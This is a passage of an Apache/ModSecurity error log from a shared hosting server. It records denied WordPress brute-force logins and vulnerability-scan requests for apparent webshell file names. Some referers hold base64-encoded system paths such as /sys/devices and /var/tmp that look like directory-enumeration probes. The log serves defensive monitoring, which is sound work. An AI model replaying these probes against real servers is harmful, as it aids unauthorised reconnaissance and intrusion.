"/php52/ext/sockets/tests/socket_getpeername.phpt"] [unique_id "ai3wvMTA7b1mZrmcA-8G_QAAAo0"] [Sat Jun 13 18:07:24.756284 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:24.756564 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:24.828051 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Zhci90bXA= [Sat Jun 13 18:07:24.828327 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Zhci90bXA= [Sat Jun 13 18:07:24.839271 2026] [security2:error] [pid 531797:tid 532062] [client 148.113.209.179:36932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvMTA7b1mZrmcA-8HAQAAAlQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:25.067901 2026] [security2:error] [pid 531797:tid 532109] [client 148.113.209.179:36948] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvcTA7b1mZrmcA-8HCQAAAoI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:25.101582 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.24:21386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:25.102005 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.24:21386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:25.109596 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.47:21308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:25.109883 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.47:21308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:25.181430 2026] [security2:error] [pid 531797:tid 531948] [remote 17.22.253.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvcTA7b1mZrmcA-8HEAACYFQ"] [Sat Jun 13 18:07:25.296709 2026] [security2:error] [pid 531155:tid 531309] [client 148.113.209.179:36954] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvSmiP80klyS0NnrkgwAAASI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:25.324441 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.60:41028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:25.324945 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.60:41028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:25.351479 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:07:25.351766 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:07:25.381256 2026] [security2:error] [pid 531155:tid 531234] [remote 17.246.15.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvSmiP80klyS0NnrkhgABZk4"] [Sat Jun 13 18:07:25.399975 2026] [security2:error] [pid 531155:tid 531382] [client 84.21.190.140:40868] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "takeme2turkey.com"] [uri "/wp-content/plugins/fusion-builder/readme.txt"] [unique_id "ai3wvSmiP80klyS0NnrkiQAAAWs"] [Sat Jun 13 18:07:25.402540 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:25.403001 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:25.575698 2026] [security2:error] [pid 531155:tid 531378] [client 191.234.188.123:63830] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/tk.php"] [unique_id "ai3wvSmiP80klyS0NnrkkQAAAWc"] [Sat Jun 13 18:07:25.832267 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:25.832557 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:07:25.898838 2026] [security2:error] [pid 531797:tid 532124] [client 148.113.209.179:36962] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvcTA7b1mZrmcA-8HKwAAAo8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:25.920463 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:25.920949 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:26.010330 2026] [security2:error] [pid 531155:tid 531192] [remote 17.22.253.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvimiP80klyS0NnrkmQABDiQ"] [Sat Jun 13 18:07:26.123930 2026] [security2:error] [pid 531797:tid 532049] [client 148.113.209.179:36976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HMQAAAkc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:26.157929 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.111:22812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:26.158197 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.111:22812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:26.308186 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:26.308636 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:26.331372 2026] [security2:error] [pid 531797:tid 532048] [client 20.151.217.54:48579] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/asu.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HPgAAAkY"] [Sat Jun 13 18:07:26.403670 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:26.404129 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:26.465961 2026] [security2:error] [pid 531155:tid 531258] [remote 17.246.15.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvimiP80klyS0NnrkoQABN2Y"] [Sat Jun 13 18:07:26.512610 2026] [security2:error] [pid 531797:tid 532116] [client 172.171.3.232:22549] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/file-gertdxz.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HRwAAAok"] [Sat Jun 13 18:07:26.525981 2026] [security2:error] [pid 531797:tid 532008] [client 20.9.67.71:64735] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/ops.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HSQAAAiA"] [Sat Jun 13 18:07:26.597602 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.51:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:26.597921 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.51:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:26.631812 2026] [security2:error] [pid 531797:tid 532024] [client 191.233.234.186:53451] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/flox.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HUQAAAjA"] [Sat Jun 13 18:07:26.639864 2026] [security2:error] [pid 531797:tid 532098] [client 20.29.78.145:59383] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/dx.php"] [unique_id "ai3wvsTA7b1mZrmcA-8HUgAAAnc"] [Sat Jun 13 18:07:26.826079 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.6:48702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:26.826359 2026] [access_compat:error] [pid 531155:tid 531210] [remote 57.141.14.6:48702] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:26.849243 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:26.849578 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:26.852782 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.36:35916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:26.853223 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.36:35916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:26.952057 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:26.952529 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:26.965197 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.48:20147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:26.965484 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.48:20147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:27.198000 2026] [security2:error] [pid 531155:tid 531233] [remote 17.22.245.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvymiP80klyS0NnrkuAABVk0"] [Sat Jun 13 18:07:27.265071 2026] [security2:error] [pid 531797:tid 532060] [client 49.51.183.84:56066] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.183.51.49.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.buy-clenbuterolonline.com"] [uri "/wp-login.php"] [unique_id "ai3wv8TA7b1mZrmcA-8HbgAAAlI"] [Sat Jun 13 18:07:27.389706 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:27.389990 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:27.409195 2026] [security2:error] [pid 531155:tid 531195] [remote 17.241.227.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wvymiP80klyS0NnrkvAABcic"] [Sat Jun 13 18:07:27.453259 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 